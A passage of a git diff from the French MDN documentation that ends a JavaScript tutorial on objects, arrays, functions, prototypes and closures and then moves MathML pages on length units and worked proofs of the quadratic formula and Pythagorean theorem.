Ces lignes sont également sémantiquement équivalentes. La seconde méthode a l'avantage de fournir le nom de l'attribut de l'objet dans une chaîne, ce qui signifie qu'il peut être calculé au moment de l'exécution (mais ce qui peut empêcher certaines optimisations du moteur JavaScript). Elle peut également être utilisée pour définir et lire des propriétés dont les noms sont des mots réservés :

- -
obj.for = "Simon"; // avant ES5 erreur de syntaxe, "for" est un mot réservé
-obj.for = "Simon"; // OK à partir d'ES5
-obj["for"] = "Simon"; // fonctionne très bien
-
- -
-

Note : ECMAScript 5 permet d'utiliser les mots-clés réservés pour des noms de propriétés, même si ceux-ci ne sont pas encadrés par des doubles quotes. Pour plus de précisions, voir le texte de la spécification à ce sujet (différence entre Identifier et IdentifierName). Cependant, pour des raisons de lisibilité, on préfèrera ne pas utiliser les mots-clés pour désigner des propriétés.

-
- -

La syntaxe littérale d'objet peut être utilisée pour initialiser un objet dans son intégralité :

- -
var obj = {
-  nom: "Carotte",
-  for: "Max",
-  details: {
-    couleur: "orange",
-    taille: 12
-  }
-};
-
- -

Les accès à des attributs peuvent aussi être chaînés :

- -
obj.details.couleur; // orange
-obj["details"]["taille"]; // 12
-
- -

Pour plus d'informations sur les objets et les prototypes, on pourra consulter Object.prototype et l'article sur l'héritage et la chaîne de prototypes.

- -

Les tableaux

- -

Les tableaux (Arrays) en JavaScript sont en fait un type spécial d'objets. Ils fonctionnent d'une façon tout à fait similaire aux objets normaux (on peut naturellement accéder aux propriétés numériques avec la syntaxe des crochets []), mais ils ont également une propriété magique appelée length. Elle vaut toujours un de plus que le plus grand indice dans le tableau.

- -

L'ancienne manière de créer des tableaux est celle-ci :

- -
var a = new Array();
-a[0] = "chien";
-a[1] = "chat";
-a[2] = "poule";
-a.length; // 3
-
- -

Une notation plus pratique est la syntaxe littérale :

- -
var a = ["chien", "chat", "poule"];
-a.length; // 3
-
- -
-

Laisser une virgule à la fin de la syntaxe littérale produit des résultats incohérents entre les différents navigateurs, bien qu'il soit spécifié que la dernière virgule doit être ignorée et que les éventuelles virgules précédentes définissent des éléments undefined. Il n'est pas recommandé de laisser des virgules en fin de notation littérale.

-
- -

Notez que array.length ne correspond pas nécessairement au nombre d'éléments dans le tableau. Observez le code suivant :

- -
var a = ["chien", "chat", "poule"];
-a[100] = "renard";
-a.length // 101
-
- -

Rappelez-vous : la longueur du tableau vaut simplement un de plus que l'indice le plus élevé.

- -

Si vous interrogez un élément de tableau non existant, vous obtenez undefined :

- -
typeof(a[90]); // undefined
-
- -

Si vous prenez cela en compte, il est possible de parcourir un tableau à l'aide de la boucle suivante :

- -
for (var i = 0; i < a.length; i++) {
-  // Faire quelque chose avec a[i]
-}
-
- -

Ce n'est pas la solution la plus performante, parce que l'on examine la propriété length à chaque tour de boucle. Une version améliorée est :

- -
for (var i = 0, len = a.length; i < len; i++) {
-  // Faire quelque chose avec a[i]
-}
-
- -

Mais il est possible d'exprimer cela encore mieux :

- -
for (var i = 0, item; item = a[i]; i++) {
-  // Faire quelque chose avec item
-}
-
- -

Ici on définit deux variables. La véracité de l'affectation dans la partie médiane de la boucle for est également vérifiée — si elle est vraie, la boucle continue. Étant donné que i est incrémentée à chaque fois, les éléments du tableau seront affectés à la variable item dans un ordre séquentiel. La boucle s'arrête lorsque la vérification d'un élément renvoie faux (comme c'est le cas d'une valeur undefined).

- -

Notez que cette astuce ne peut être utilisée que pour des tableaux qui ne comprennent pas d'autres valeurs qui pourraient renvoyer une valeur fausse (des tableaux d'objets ou de nœuds DOM par exemple). Si vous parcourez des données numériques parmi lesquelles pourrait se trouver un zéro, des chaînes dont l'une pourrait être vide ou un tableau non continu, vous devrez utiliser la variante avec i, len.

- -

Une autre manière de parcourir un tableau est d'utiliser une boucle for...in. Notez que si quelqu'un ajoutait d'autres propriétés à Array.prototype, elles seraient également parcourues par cette boucle et c'est pour cette raison que cette méthode est déconseillée :

- -
for (var i in a) {
-  // faire quelque chose avec a[i]
-}
-
- -

En revanche avec la boucle for...of, apparue avec ECMAScript 2015, on ne parcourt que les éléments du tableau (ou de tout autre itérable) :

- -
for (let elem of a){
-  // faire quelque chose avec elem
-}
- -

Avec ECMAScript 5, on peut également parcourir un tableau avec la méthode forEach() :

- -
["chien", "chat", "poule"].forEach(function(valeurCourante, index, array) {
-  // Faire quelque chose avec valeurCourante et array[index]
-});
- -

Si vous désirez ajouter un élément à un tableau, la manière la plus sûre est de faire ceci :

- -
a.push(element);
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de la méthodeDescription
a.toString()Renvoie une chaîne composée des différents éléments auxquels on a appliqué toString(), séparés par des virgules.
a.toLocaleString()Renvoie une chaîne composée des différents éléments auxquels on a appliqué toLocaleString(), séparés par des virgules.
a.concat(item1[, item2[, ...[, itemN]]])Renvoie un nouveau tableau auquel on a ajouté les éléments.
a.join(sep)Convertit le tableau en une chaîne dont les valeurs sont séparées par le paramètre sep.
a.pop()Renvoie le dernier élément du tableau et le retire du tableau.
a.push(item1, ..., itemN)Ajoute un ou plusieurs éléments à la fin du tableau.
a.reverse()Retourne le tableau.
a.shift()Renvoie le premier élément du tableau et le retire du tableau.
a.slice(début[, fin])Renvoie un sous-tableau.
a.sort([cmpfn])Trie le tableau (avec une fonction de comparaison optionnelle).
a.splice(début, delcount[, item1[, ...[, itemN]]])Permet de modifier un tableau en en supprimant une partie et en la remplaçant avec plus d'éléments.
a.unshift(item1[, item2[, ...[, itemN]]])Ajoute des éléments au début du tableau.
- -

Les fonctions

- -

Avec les objets, les fonctions sont les composants de base d'une bonne compréhension de JavaScript. La fonction la plus basique n'a rien de compliqué :

- -
function ajoute(x, y) {
-  var total = x + y;
-  return total;
-}
-
- -

Ceci représente tout ce qu'il y a à savoir à propos des fonctions basiques. Une fonction JavaScript peut recevoir 0 paramètre nommé ou plus. Son corps peut contenir autant d'instructions que vous le voulez et permet de déclarer des variables qui sont locales à la fonction. L'instruction return peut être utilisée pour renvoyer une valeur à tout moment, mettant ainsi fin à la fonction. Si aucune instruction return n'est utilisée (ou que l'instruction return n'est suivie d'aucune valeur), JavaScript renvoie undefined.

- -

On se rendra compte que les paramètres sont plus des indications qu'autre chose. Il est en effet possible d'appeler une fonction sans lui fournir les paramètres qu'elle attend, auquel cas ils vaudront undefined.

- -
ajoute(); // NaN - Il n'est pas possible d'additionner des variables indéfinies
-
- -

Il est également possible de fournir plus de paramètres que demandé par la fonction :

- -
ajoute(2, 3, 4); // 5
-// les deux premiers sont additionnés ; 4 est ignoré
-
- -

Par définition les fonctions ont accès à des variables supplémentaires à l'intérieur de leur corps, appelée arguments. Ce sont des objets semblables à un tableau qui conservent toutes les valeurs reçues par la fonction. Réécrivons la fonction ajoute pour recevoir autant de valeurs qu'on veut :

- -
function ajoute() {
-  var somme = 0;
-  for (var i = 0, j = arguments.length; i < j; i++) {
-    somme += arguments[i];
-  }
-  return somme;
-}
-
-ajoute(2, 3, 4, 5); // 14
-
- -

Ce n'est cependant pas vraiment plus utile que d'écrire 2 + 3 + 4 + 5. Écrivons plutôt une fonction de calcul de moyenne :

- -
function moyenne() {
-  var somme = 0;
-  for (var i = 0, j = arguments.length; i < j; i++) {
-    somme += arguments[i];
-  }
-  return somme / arguments.length;
-}
-moyenne(2, 3, 4, 5); // 3.5
-
- -

Avec la décomposition des arguments (ES2015/ES6) (cf. les paramètres du reste) et let, on pourrait écrire une version équivalente :

- -
function moyenne(...args) {
-  var somme = 0;
-  for (let valeur of args) {
-    somme += valeur;
-  }
-  return somme / args.length;
-}
-moyenne(2, 3, 4, 5); // 3.5
- -
-

Note : Avec les paramètres du reste, dans l'exemple précédent, args contient tous les arguments passés à la fonction. Si on avait utilisé fonction moyenne(premiereValeur, ...args), args aurait alors contenu toutes les valeurs mais pas le premier argument.

-
- -

C'est très pratique, mais on rencontre un nouveau problème. La fonction moyenne() reçoit une liste de valeurs séparées par des virgules, mais comment fait-on si on souhaite trouver la moyenne des valeurs d'un tableau ?

- -

On pourrait simplement récrire la fonction comme ceci :

- -
function moyenneTableau(arr) {
-  var somme = 0;
-  for (var i = 0, j = arr.length; i < j; i++) {
-    somme += arr[i];
-  }
-  return somme / arr.length;
-}
-moyenneTableau([2, 3, 4, 5]); // 3.5
-
- -

Mais ce serait bien si on pouvait réutiliser la fonction qu'on avait déjà créée. Par chance, JavaScript permet d'appeler une fonction et de lui donner un tableau de paramètres d'une longueur arbitraire, à l'aide de la méthode apply() de tout objet Function.

- -
moyenne.apply(null, [2, 3, 4, 5]); // 3.5
-
- -

Le second paramètre envoyé à apply() est le tableau à utiliser comme paramètre ; nous parlerons du premier plus tard. Cela permet de souligner le fait que les fonctions sont aussi des objets.

- -
-

Note : On peut également utiliser l'opérateur de décomposition pour l'appel et la définition de la fonction pour écrire, par exemple, moyenne(...nombres).

-
- -

JavaScript permet également de créer des fonctions anonymes.

- -
var moyenne = function() {
-  var somme = 0;
-  for (var i = 0, j = arguments.length; i < j; i++) {
-    somme += arguments[i];
-  }
-  return somme / arguments.length;
-}
-
- -

Ceci est sémantiquement équivalent à la forme function moyenne() vue plus haut. C'est extrêmement puissant, car cela permet de mettre une définition de fonction n'importe où, là où on mettrait normalement une expression. C'est la porte ouverte à toutes sortes d'astuces brillantes. Voici par exemple une manière de « cacher » certaines variables locales, comme la visibilité par blocs du langage C :

- -
var a = 1;
-var b = 2;
-
-(function() {
-    var b = 3;
-    a += b;
-})();
-
-a; // 4
-b; // 2
-
- -

JavaScript permet d'appeler des fonctions récursivement. C'est particulièrement utile lorsqu'on a affaire à des structures en arbre, comme c'est le cas dans le DOM du navigateur.

- -
function countChars(elm) {
-  if (elm.nodeType == 3) { // TEXT_NODE
-    return elm.nodeValue.length;
-  }
-  var count = 0;
-  for (var i = 0, child; child = elm.childNodes[i]; i++) {
-    count += countChars(child);
-  }
-  return count;
-}
-
- -

Cela permet de mettre le doigt sur un problème potentiel des fonctions anonymes : comment les appelle-t-on récursivement si elles n'ont pas de nom ? La réponse se trouve une nouvelle fois dans l'objet arguments, qui, non content d'être une liste des paramètres, fournit également une propriété appelée arguments.callee. Celle-ci se réfère toujours à la fonction courante et peut donc être utilisée pour des appels récursifs :

- -
var charsInBody = (function counter(elm) {
-  if (elm.nodeType == 3) { // TEXT_NODE
-    return elm.nodeValue.length;
-  }
-  var count = 0;
-  for (var i = 0, child; child = elm.childNodes[i]; i++) {
-    count += counter(child);
-  }
-  return count;
-})(document.body);
- -

La forme utilisée dans l'exemple qui précède est une fonction invoquée immédiatement. On déclare une fonction qu'on appelle directement. Le nom counter n'est alors accessible qu'au sein de la portée.

- -

Le nom fourni à l'expression de la fonction n'est disponible qu'au sein de la portée de la fonction. Cela permet au moteur JavaScript de faire des optimisations. Cela rend également le code plus lisible. Le nom apparaîtra également dans le débogueur et les piles d'appel, ce qui permettra de gagner du temps.

- -

En JavaScript, les fonctions sont également des objets. Il est donc possible de leur ajouter ou de modifier leurs propriétés.

- -

Les objets personnalisés

- -
-

Note : Pour une approche plus détaillée de la programmation orientée objet en JavaScript, voir l'Introduction à JavaScript orienté objet.

-
- -

Dans la programmation orientée objet classique, les objets sont des collections de données et de méthodes opérant sur ces données. Imaginons un objet personne avec les champs prénom et nom. Il y a deux manières d'afficher son nom complet : de la façon « prénom nom » ou de la façon « nom prénom ». À l'aide des fonctions et des objets vus précédemment, voici une manière de le faire :

- -
function creerPersonne(prenom, nom) {
-  return {
-    prenom: prenom,
-    nom: nom
-  }
-}
-
-function personneNomComplet(personne) {
-  return personne.prenom + ' ' + personne.nom;
-}
-
-function personneNomCompletInverse(personne) {
-  return personne.nom + ' ' + personne.prenom;
-}
-
-var s = creerPersonne("Simon", "Willison");
-personneNomComplet(s); // Simon Willison
-
-personneNomCompletInverse(s); // Willison Simon
- -

Ça fonctionne, mais c'est inutilement verbeux. On va se retrouver avec des dizaines de fonctions dans l'espace de noms global. Ce dont on aurait vraiment besoin, c'est d'une manière d'attacher une fonction à un objet. Comme les fonctions sont des objets, c'est facile :

- -
function creerPersonne(prenom, nom) {
-  return {
-    prenom: prenom,
-    nom: nom,
-    nomComplet: function() {
-      return this.prenom + ' ' + this.nom;
-    },
-    nomCompletInverse: function() {
-      return this.nom + ' ' + this.prenom;
-    }
-  }
-}
-
-var s = creerPersonne("Simon", "Willison")
-s.nomComplet(); // Simon Willison
-s.nomCompletInverse(); // Willison Simon
- -

Il y a quelque chose que nous n'avons pas vu jusqu'à présent : le mot-clé this. Utilisé au sein d'une fonction, this fait référence à l'objet courant. Sa signification dépend de la façon dont la fonction a été appelée. Si elle a été appelée avec la notation utilisant le point ou les crochets sur un objet, cet objet devient this. Si cette notation n'a pas été utilisée pour l'appel, this fera référence à l'objet global. C'est une source fréquente d'erreurs. Par exemple :

- -
var s = creerPersonne("Simon", "Willison");
-var nomComplet = s.nomComplet;
-nomComplet(); // undefined undefined
-
- -

Lorsqu'on appelle nomComplet(), this est lié à l'objet global. Comme il n'y a pas de variables globales appelées prenom ou nom, on se retrouve avec undefined pour chacune.

- -

On peut se servir du mot clé this pour améliorer notre fonction créerPersonne :

- -
function Personne(prenom, nom) {
-  this.prenom = prenom;
-  this.nom = nom;
-  this.nomComplet = function() {
-    return this.prenom + ' ' + this.nom;
-  }
-  this.nomCompletInverse = function() {
-    return this.nom + ' ' + this.prenom;
-  }
-}
-var s = new Personne("Simon", "Willison");
-
- -

Nous avons utilisé un nouveau mot clé : new. new est très lié à this. Il crée un nouvel objet vide et appelle ensuite la fonction spécifiée, avec this pointant vers ce nouvel objet. Les fonctions prévues pour être appelées par new sont appelées des constructeurs. L'usage courant est de mettre la première lettre de ces fonctions en majuscule pour se souvenir de les appeler avec new.

- -

Nos objets Personne s'améliorent, mais il leur reste certaines aspérités pas très esthétiques. Chaque fois que l'on crée une personne, on crée deux nouveaux objets de fonctions en même temps. Ne serait-ce pas mieux si ce code était partagé ?

- -
function personneNomComplet() {
-  return this.prenom + ' ' + this.nom;
-}
-
-function personneNomCompletInverse() {
-  return this.nom + ' ' + this.prenom;
-}
-
-function Personne(prenom, nom) {
-  this.prenom = prenom;
-  this.nom = nom;
-  this.nomComplet = personneNomComplet;
-  this.nomCompletInverse = personneNomCompletInverse;
-}
-
- -

C'est mieux : on crée les fonctions une seule fois, et on leur assigne des références au sein du constructeur. Est-il possible de faire encore mieux que ça ? La réponse est oui :

- -
function Personne(prenom, nom) {
-  this.prenom = prenom;
-  this.nom = nom;
-}
-
-Personne.prototype.nomComplet = function() {
-  return this.prenom + ' ' + this.nom;
-}
-
-Personne.prototype.nomCompletInverse = function nomCompletInverse() {
-  return this.nom + ' ' + this.prenom;
-}
-
- -

Personne.prototype est un objet partagé par toutes les instances de Personne. Il fait partie d'une chaîne de résolution (qui a un nom spécial, la « chaîne de prototypes ») : chaque fois que vous essayez d'accéder à une propriété de Personne qui n'est pas définie, JavaScript va vérifier Personne.prototype pour voir si cette propriété n'existe pas plutôt à cet endroit. Par conséquent, tout ce qui est assigné à Personne.prototype devient disponible à toutes les instances de ce constructeur via l'objet this.

- -

C'est un outil incroyablement puissant. JavaScript vous permet de modifier le prototype de quelque chose à tout moment dans votre programme, cela signifie qu'il est possible d'ajouter des méthodes supplémentaires à des objets existants lors de l'exécution :

- -
var s = new Personne("Simon", "Willison");
-s.prenomEnMajuscules(); // TypeError on line 1: s.prenomEnMajuscules is not a function
-
-Personne.prototype.prenomEnMajuscules = function prenomEnMajuscules() {
-  return this.prenom.toUpperCase()
-}
-s.prenomEnMajuscules(); // "SIMON"
-
- -

Il est également possible d'ajouter des choses aux prototypes de classes d'objets JavaScript prédéfinies. Ajoutons par exemple une méthode à String qui renvoie cette chaîne à l'envers :

- -
var s = "Simon";
-s.inverse(); // TypeError on line 1: s.inverse is not a function
-
-String.prototype.inverse = function inverse() {
-  var r = "";
-  for (var i = this.length - 1; i >= 0; i--) {
-    r += this[i];
-  }
-  return r;
-}
-s.inverse(); // "nomiS"
-
- -

Notre nouvelle méthode fonctionne même sur les chaînes littérales !

- -
"Ceci peut maintenant être inversé.".inverse() // ".ésrevni ertê tnanetniam tuep iceC"
-
- -

Comme mentionné précédemment, le prototype fait partie d'une chaîne de prototypes. Le début de cette chaîne est Object.prototype, dont toString() fait partie des méthodes. C'est cette méthode qui est appelée quand vous essayez de représenter un objet sous la forme d'une chaîne. Elle sera utile pour déboguer nos objets Personne :

- -
var s = new Personne("Simon", "Willison");
-s; // [object Object]
-
-Personne.prototype.toString = function() {
-  return '<Personne : ' + this.nomComplet() + '>';
-}
-s.toString(); // "<Personne : Simon Willison>"
-
- -

Vous vous souvenez de la fonction moyenne.apply() qui avait un premier paramètre défini à null ? Nous pouvons en reparler à présent. Le premier paramètre d'apply() est l'objet qui doit être traité comme this. Par exemple, voici une implémentation de new :

- -
function trivialNew(constructor, ...args) {
-  var o = {}; // Crée un objet
-  constructor.apply(o, ...args);
-  return o;
-}
-
- -

Ce n'est pas une réplique exacte de new parce qu'elle n'initialise pas la chaîne de prototype. La méthode apply() est difficile à illustrer, ce n'est pas quelque chose qu'on utilise très souvent, mais c'est utile de savoir qu'elle existe. Dans ce fragment de code, on utilise les arguments restants, représentés par ...args. Comme son nom l'indique, cela représente le reste des arguments passés à la fonction. À l'heure actuelle, cette fonctionnalité n'est disponible que sous Firefox, il est donc conseillé d'utiliser arguments.

- -

Appeler

- -
var bill = trivialNew(Personne, ["William", "Orange"]);
- -

est donc quasiment équivalent à :

- -
var bill = new Personne("William", "Orange");
- -

apply() possède une fonction proche, appelée call, qui permet de définir la valeur de this mais qui prend une liste d'arguments plutôt qu'un tableau.

- -
function nomMajuscule() {
-  return this.nom.toUpperCase();
-}
-var s = new Personne("Simon", "Willison");
-nomMajuscule.call(s); // correspond à:
-s.nomMajuscule = nomMajuscule;
-s.nomMajuscule();
- -

Les fonctions internes

- -

Comme nous l'avons déjà vu, les déclarations de fonctions JavaScript peuvent se trouver à l'intérieur d'autres fonctions. Un détail important des fonctions définies à l'intérieur d'autres fonctions est qu'elles peuvent accéder à des variables de leur fonction parente :

- -
function parentFunc() {
-  var a = 1;
-  function fonctionImbriquee() {
-    var b = 4; // Inacessible depuis parentFunc()
-    return a + b;
-  }
-  return fonctionImbriquee(); // 5
-}
-
- -

Cela peut s'avérer très utile dans l'écriture de code plus facilement maintenable. Si une fonction A dépend d'une ou deux autres fonctions B et C qui ne sont utiles à aucun autre endroit de votre code, on peut imbriquer ces fonctions utilitaires B et C à l'intérieure de la fonction A. Cela diminue le nombre de fonctions se trouvant dans la portée globale, ce qui est toujours une bonne chose.

- -

C'est également un bon moyen de se préserver de l'attrait trompeur des variables globales. Lorsqu'on écrit du code complexe, il est souvent tentant d'utiliser des variables globales pour partager des valeurs entre différentes fonctions, ce qui mène à du code difficile à maintenir. Les fonctions internes peuvent partager des variables avec leur parent, de sorte que vous pouvez utiliser ce mécanisme pour coupler des fonctions ensemble lorsque cela a un sens, sans pour autant polluer l'espace de noms global. Ce sont ainsi des « globales locales ». Cette technique doit être utilisée parcimonieusement, mais il est utile de s'en souvenir.

- -

Les fermetures (Closures)

- -

Cela nous amène à l'une des abstractions les plus spectaculaires que JavaScript a à nous offrir. C'est également un des concepts les plus déroutants. Que fait ce fragment de code ?

- -
function creerAdditionneur(a) {
-  return function(b) {
-    return a + b;
-  }
-}
-var ajoute5 = creerAdditionneur(5);
-var ajoute20 = creerAdditionneur(20);
-ajoute5(6); // ?
-ajoute20(7); // ?
-
- -

Le nom de la fonction creerAdditionneur devrait vous donner un indice : elle crée de nouveaux additionneurs sous forme de fonctions qui, quand elles sont appelées avec un paramètre, l'ajoutent à celui avec lequel elles ont été créées.

- -

Ce qui se passe ici est sensiblement la même chose qu'avec les fonctions internes dont nous avons parlé précédemment : une fonction définie à l'intérieur d'une autre fonction a accès aux variables de sa fonction extérieure. La seule différence ici est que la fonction extérieure a déjà renvoyé son résultat, et le bon sens semblerait vouloir être que ses variables locales n'existent plus. Mais elles existent encore ; autrement les additionneurs présentés ci-dessus ne fonctionneraient pas. Ce n'est pas tout, il y a même deux « copies » différentes des variables locales de creerAdditionneur : une dans laquelle a vaut 5 et une autre dans laquelle a vaut 20. Quel est donc le résultat de ces appels de fonction ?

- -
ajoute5(6); // renvoie 11
-ajoute20(7); // renvoie 27
-
- -

Voici ce qui se passe en réalité. Lorsque JavaScript exécute une fonction, un objet de portée est créé pour conserver les variables locales créées au sein de cette fonction. Il est initialisé avec les variables passées en paramètres à la fonction. Cela ressemble à l'objet global dans lequel toutes les variables et fonctions globales se trouvent, mais avec quelques différences importantes : premièrement, un nouvel objet de portée est créé chaque fois qu'une fonction commence à s'exécuter, et deuxièmement, contrairement à l'objet global (qui, dans le navigateur, correspond à l'objet window), on ne peut pas directement accéder à ces objets de portée depuis le code JavaScript. Il n'existe pas de mécanisme permettant de parcourir les propriétés de l'objet de la portée courante par exemple.

- -

Donc, quand creerAdditionneur est appelée, une portée est créée avec une propriété : a, qui est le paramètre passé à la fonction creerAdditionneur. Celle-ci renvoie alors une fonction nouvellement créée. Normalement, le ramasse-miettes de JavaScript devrait supprimer l'objet de visibilité créé pour creerAdditionneur à ce moment, mais la fonction renvoyée garde une référence vers cet objet de visibilité. Par conséquent, il ne sera pas supprimé par le ramasse-miettes tant qu'il y a toujours des références à l'objet de type function que creerAdditionneur a renvoyé.

- -

Certains objets de portée forment une chaîne appelée la chaîne de portées, semblable à la chaîne de prototypes utilisée par le système objet de JavaScript.

- -

Ce qu'on appelle une fermeture est la combinaison d'une fonction et de l'objet de portée dans lequel elle a été créée.

- -

Les fermetures permettent des enregistrements d'état et, en tant que telles, peuvent souvent être utilisées à la place d'objets. Vous pourrez trouver plus d'informations sur les fermetures dans cet article.

diff --git a/files/fr/web/mathml/attribute/valeurs/index.html b/files/fr/web/mathml/attribute/valeurs/index.html deleted file mode 100644 index 4fc2296665..0000000000 --- a/files/fr/web/mathml/attribute/valeurs/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Valeurs -slug: Web/MathML/Attribute/Valeurs -tags: - - MathML - - Référence MathML -translation_of: Web/MathML/Attribute/Values ---- -

Longueurs

- -

Plusieurs éléments de présentation MathML possèdent des attributs qui acceptent des valeurs pour mesurer des tailles ou des espacements. MathML accepte différentes unités et constantes pour spécifier les longueurs.

- -

Unités

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
UniétDescription
emUnité {{ Cssxref("font-size", "relative à la police") }}
exUnité {{ Cssxref("font-size", "relative à la police") }}. (La hauteur "x" de l'élément, 1ex ≈ 0.5em dans beaucoup de polices)
pxPixels
inPouces (1 pouce = 2,54 centimètres)
cmCentimètres
mmMillimètres
ptPoints (1 point = 1/72 pouce)
pcPicas (1 pica = 12 points)
%Pourcentage de la valeur par défaut.
- -

Constantes

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ConstanteValeur
veryverythinmathspace1/18em
verythinmathspace2/18em
thinmathspace3/18em
mediummathspace4/18em
thickmathspace5/18em
verythickmathspace6/18em
veryverythickmathspace7/18em
Les contstantes négatives ont été introduites avec Gecko 7.0 {{ geckoRelease("7.0") }} ({{ bug(650530) }})
negativeveryverythinmathspace-1/18em
negativeverythinmathspace-2/18em
negativethinmathspace-3/18em
negativemediummathspace-4/18em
negativethickmathspace-5/18em
negativeverythickmathspace-6/18em
negativeveryverythickmathspace-7/18em
- -

Note : L'association avec des espaces de noms a été dépréciée dans MathML3 et a été retirée dans Gecko 15.0 {{ geckoRelease("15.0") }} (bug 673759).

diff --git a/files/fr/web/mathml/attribute/values/index.html b/files/fr/web/mathml/attribute/values/index.html new file mode 100644 index 0000000000..4fc2296665 --- /dev/null +++ b/files/fr/web/mathml/attribute/values/index.html @@ -0,0 +1,138 @@ +--- +title: Valeurs +slug: Web/MathML/Attribute/Valeurs +tags: + - MathML + - Référence MathML +translation_of: Web/MathML/Attribute/Values +--- +

Longueurs

+ +

Plusieurs éléments de présentation MathML possèdent des attributs qui acceptent des valeurs pour mesurer des tailles ou des espacements. MathML accepte différentes unités et constantes pour spécifier les longueurs.

+ +

Unités

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UniétDescription
emUnité {{ Cssxref("font-size", "relative à la police") }}
exUnité {{ Cssxref("font-size", "relative à la police") }}. (La hauteur "x" de l'élément, 1ex ≈ 0.5em dans beaucoup de polices)
pxPixels
inPouces (1 pouce = 2,54 centimètres)
cmCentimètres
mmMillimètres
ptPoints (1 point = 1/72 pouce)
pcPicas (1 pica = 12 points)
%Pourcentage de la valeur par défaut.
+ +

Constantes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstanteValeur
veryverythinmathspace1/18em
verythinmathspace2/18em
thinmathspace3/18em
mediummathspace4/18em
thickmathspace5/18em
verythickmathspace6/18em
veryverythickmathspace7/18em
Les contstantes négatives ont été introduites avec Gecko 7.0 {{ geckoRelease("7.0") }} ({{ bug(650530) }})
negativeveryverythinmathspace-1/18em
negativeverythinmathspace-2/18em
negativethinmathspace-3/18em
negativemediummathspace-4/18em
negativethickmathspace-5/18em
negativeverythickmathspace-6/18em
negativeveryverythickmathspace-7/18em
+ +

Note : L'association avec des espaces de noms a été dépréciée dans MathML3 et a été retirée dans Gecko 15.0 {{ geckoRelease("15.0") }} (bug 673759).

diff --git a/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.html new file mode 100644 index 0000000000..9a7f5ac867 --- /dev/null +++ b/files/fr/web/mathml/examples/deriving_the_quadratic_formula/index.html @@ -0,0 +1,13 @@ +--- +title: 'MathML: Dériver la formule quadratique' +slug: Web/MathML/Exemples/Dériver_la_Formule_Quadratique +tags: + - Débutant + - Education + - Guide + - MathML +translation_of: Web/MathML/Examples/Deriving_the_Quadratic_Formula +--- +

Dans cette page, on rédige la démonstration de la détermination des racines d'un polynôme quadratique :

+ +

a ⁢ x 2 + b ⁢ x + c = 0 a ⁢ x 2 + b ⁢ x = - c x 2 + b a ⁤ x = -c a On divise par le premier coefficient du polynôme. x 2 + b a ⁤ x + b 2 a 2 = - c ( 4 a ) a ( 4 a ) + b 2 4 a 2 On rajoute un terme pour avoir un carré. ( x + b 2 a ) ( x + b 2 a ) = b 2 - 4 a c 4 a 2 Ici, on obtient la valeur du discriminant. ( x + b 2 a ) 2 = b 2 - 4 a c 4 a 2 x + b 2 a = b 2 - 4 a c 4 a 2 x = -b 2 a ±{C} b 2 - 4 a c 4 a 2 x = - b ±{C} b 2 - 4 a c 2 a

diff --git a/files/fr/web/mathml/examples/index.html b/files/fr/web/mathml/examples/index.html new file mode 100644 index 0000000000..c3614e43b5 --- /dev/null +++ b/files/fr/web/mathml/examples/index.html @@ -0,0 +1,27 @@ +--- +title: Exemples +slug: Web/MathML/Exemples +tags: + - Accueil + - Beginner + - Composing + - Débuttant + - Intro + - MathML +translation_of: Web/MathML/Examples +--- +

Cette rubrique rassemble des exemples pour vous aider à comprendre comment utiliser MathML dans l'affichage des formules mathématiques complexes au sein de vos pages Web.

+
+
+ Théorème de Pythagore
+
+ Petit exemple de démonstration du théorème de Pythagore.
+
+ Résolution de l'équation quadratique
+
+ Étapes de la résolution de l'équation quadratique.
+
+ Tests de rendu MathML
+
+ Un ensemble test de rendu de formules.
+
diff --git a/files/fr/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/fr/web/mathml/examples/mathml_pythagorean_theorem/index.html new file mode 100644 index 0000000000..d64afcc40b --- /dev/null +++ b/files/fr/web/mathml/examples/mathml_pythagorean_theorem/index.html @@ -0,0 +1,16 @@ +--- +title: Preuve du théorème de Pythagore +slug: Web/MathML/Exemples/MathML_Theoreme_de_Pythagore +tags: + - Débutant + - Education mathématique + - Exemple + - HTML5 Math + - MathML +translation_of: Web/MathML/Examples/MathML_Pythagorean_Theorem +--- +

Nous allons prouver le théorème de Pythagore :

+ +

Définition : dans un triangle rectangle, le carré de l'hypoténuse est égal à la somme des carrés des deux autres côtés (appelés cathètes). Ainsi, soient a et b les cathètes et c l'hypothénuse, on a a 2 + b 2 = c 2 .

+ +

Preuve : nous pouvons le prouver de façon algébrique en montrant que l'aire du grand carré est égale à l'aire du carré intérieur, ajoutée à l'aire des 4 triangles : ( a + b ) 2 = c 2 + 4 ⋅ ( 1 2 a b ) a 2 + 2 a b + b 2 = c 2 + 2 a b a 2 + b 2 = c 2

diff --git "a/files/fr/web/mathml/exemples/d\303\251river_la_formule_quadratique/index.html" "b/files/fr/web/mathml/exemples/d\303\251river_la_formule_quadratique/index.html" deleted file mode 100644 index 9a7f5ac867..0000000000 --- "a/files/fr/web/mathml/exemples/d\303\251river_la_formule_quadratique/index.html" +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: 'MathML: Dériver la formule quadratique' -slug: Web/MathML/Exemples/Dériver_la_Formule_Quadratique -tags: - - Débutant - - Education - - Guide - - MathML -translation_of: Web/MathML/Examples/Deriving_the_Quadratic_Formula ---- -

Dans cette page, on rédige la démonstration de la détermination des racines d'un polynôme quadratique :

- -

